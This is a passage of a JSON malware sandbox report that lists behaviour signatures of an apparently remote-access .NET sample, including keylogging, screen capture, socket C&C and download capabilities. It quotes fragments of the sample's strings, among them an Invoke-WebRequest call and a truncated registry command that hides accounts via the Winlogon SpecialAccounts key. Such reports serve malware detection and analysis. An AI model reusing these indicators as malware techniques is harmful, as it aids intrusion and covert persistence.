(DIE)","description":"\"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\" was detected as \".NET\" and name: \"Library\"\n \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\" was detected as \"VB.NET\" and name: \"Compiler\"\n \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"May execute SQL queries","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-605","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$3d","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x108200\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x1080c4\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"C:\\Windows\\System32\\query.exe\" [Source: 00000000-00003464.00000001.68400.00172000.00000020.mdmp]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\".exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"LoadLibrary\" (Indicator: \"LoadLibrary\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")\n Found reference to API \"LoadLibrary\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to perform scheduled task-related activity (Powershell command string)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1053.005","relevance":1,"id":"string-335","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\".exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$40","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$41","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve type of COM object\n Matched sigs: Possibly tries to implement anti-virtualization techniques\n Matched sigs: Found a reference to an external IP address lookup service","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$42","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\".exe\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll\"\n \".exe\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll\"\n \".exe\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll\"\n \".exe\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll\"\n \".exe\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$43","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\".exe\" trying to access non-existent file \"C:\\Windows\\SYSTEM32\\MSCOREE.DLL.local\"\n \".exe\" trying to access non-existent file \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\fusion.localgac\"\n \".exe\" trying to access non-existent file \"C:\\1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.exe.config\"\n \".exe\" trying to access non-existent file \"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Venombin\\\"\n \".exe\" trying to access non-existent file \"C:\\1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.INI\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate via sockets (Dotnet)","description":"$44","origin":"Static Parser","mitre_attack_id":"T1095","relevance":1,"id":"static-159","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (Dotnet)","description":"$45","origin":"Static Parser","mitre_attack_id":"T1071.001","relevance":1,"id":"static-158","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicates via socket (possible C&C communication)","description":"Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \"BeginConnect\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"\n Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \"EndConnect\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"\n Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \"get_Connected\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"\n Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \"BeginReceive\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"\n Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \"EndReceive\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1071","relevance":1,"id":"static-151","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"URLDownloadToFile\" (Indicator: \"URLDownloadToFile\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"URLDownloadToFile\" (Indicator: \"URLDownload\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"URLDownloadToFile\" (Indicator: \"URLDownloadToFile\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")\n Found reference to API \"URLDownloadToFile\" (Indicator: \"URLDownload\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Network Related","name":"Contains ability to get content from a webpage (Powershell command string)","description":"Found string \"\\\\\\\";Invoke-WebRequest -Uri \\\\\\\"\" (Indicator: \"Invoke-WebRequest\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found string \"\";Invoke-WebRequest -Uri \\\"\" (Indicator: \"Invoke-WebRequest\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-282","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Network Related","name":"Contains ability to provide interface for network protocols (Dotnet)","description":"Observed namespace \"System.Net.Sockets\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"\n Observed namespace \"System.Net.NetworkInformation\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"\n Observed namespace \"System.Net\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"\n Observed namespace \"System.Net.Security\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1071.001","relevance":1,"id":"static-110","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve list of TCP/UDP endpoints (API string)","description":"Found reference to API \"GetExtendedTcpTable\" (Indicator: \"GetExtendedTcpTable\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"GetExtendedTcpTable\" (Indicator: \"GetExtendedTcpTable\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-273","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set the value of an HTTP request header","description":"file/memory contains long string with (Indicator: \".setRequestHeader\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n file/memory contains long string with (Indicator: \".setRequestHeader\"; File: \"00000000-00003464.00000001.68400.00172000.00000020.mdmp\")\n Found string \"WinHttpReq.setRequestHeader \"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\"\" (Indicator: \".setRequestHeader\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-623","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload or download data from a specified domain","description":"$46","origin":"File/Memory","mitre_attack_id":"T1102.002","relevance":1,"id":"string-536","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Network Related","name":"Contains ability to use Microsoft Exchange transport agents [Dotnet Namespaces]","description":"$47","origin":"File/Memory","mitre_attack_id":"T1505.002","relevance":1,"id":"string-618","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Mail transfer protocol","description":"$48","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-499","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows HTTP services (API string)","description":"Found reference to API \"GetRequestStream\" (Indicator: \"GetRequestStream\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"GetRequestStream\" (Indicator: \"GetRequestStream\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-323","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"$49","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$4b","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://google.com\"\n Found HTTPS url \"https://geocoder.ca\"\n Found HTTPS url \"https://whatismyipaddress.com\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Network Related","name":"References server/domain address with port number","description":"Found ip/domain with port number \"http://127.0.0.1:4040\"","origin":"Indicator Combinations","mitre_attack_id":"T1571","id":"summary-25","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"Found reference to API \"CreateDesktopW\" (Indicator: \"CreateDesktop\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"CreateDesktopW\" (Indicator: \"CreateDesktop\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-541","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection (API string)","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-553","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate running processes using Tasklist","description":"Observed string: \"Found tasklist window at 0x\" (Indicator: \" tasklist \") in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\n Observed string: \"nd tasklist window at 0x\" (Indicator: \" tasklist \") in Source: 00000000-00003464.00000001.68400.00172000.00000020.mdmp\n Observed string: \"Found tasklist window at 0x\" (Indicator: \" tasklist \") in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp\n 00000000-00003464.00000001.68400.00172000.00000020.mdmp\n 00000000-00003464.00000002.70319.00172000.00000020.mdmp\n 00000000-00003464.00000003.75826.00172000.00000020.mdmp","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-517","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to gather process details (Dotnet)","description":"Observed function \"GetProcessById\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"\n Observed function \"GetProcessesByName\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"\n Observed function \"get_ProcessName\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1057","relevance":1,"id":"static-100","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to register/read input devices (API string)","description":"Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"mouse_event\" (Indicator: \"mouse_event\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")\n Found reference to API \"mouse_event\" (Indicator: \"mouse_event\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056","relevance":1,"id":"string-403","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandle\" (Indicator: \"GetModuleHandle\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"GetModuleHandle\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$50","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"$51","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about the current hardware profile (API string)","description":"Found reference to API \"GetCurrentHwProfile\" (Indicator: \"GetCurrentHwProfile\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"GetCurrentHwProfile\" (Indicator: \"GetCurrentHwProfile\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-159","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"$52","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariable\" (Indicator: \"GetEnvironmentVariable\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"GetEnvironmentVariable\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve type of COM object","description":"Found string \"GetTypeFromCLSID\" (Indicator: \"GetTypeFromCLSID\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found string \"GetTypeFromCLSID\" (Indicator: \"GetTypeFromCLSID\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559.001","relevance":1,"id":"string-569","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve user privileges","description":"$53","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1033","relevance":5,"id":"stream-136","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve user privileges (API string)","description":"Found reference to API \"IsInRole\" (Indicator: \"IsInRole\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"IsInRole\" (Indicator: \"IsInRole\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-217","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$54","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"$55","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"$56","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"\\Device\\HarddiskVolume2\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll\" (Indicator: \"\\Device\\\"; Source: \"00000000-00003464.00000000.66478.00460000.00000004.mdmp, 00000000-00003464.00000001.68400.00460000.00000004.mdmp, 00000000-00003464.00000002.70319.00460000.00000004.mdmp, 00000000-00003464.00000003.75826.00460000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"System Security","name":"Contains ability to control system service controller","description":"Observed function \"ServiceController\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1569.002","relevance":1,"id":"static-117","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"System Security","name":"Contains ability to create/modify item values (Powershell command string)","description":"Found string \"New-ItemProperty -Path HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList -Name 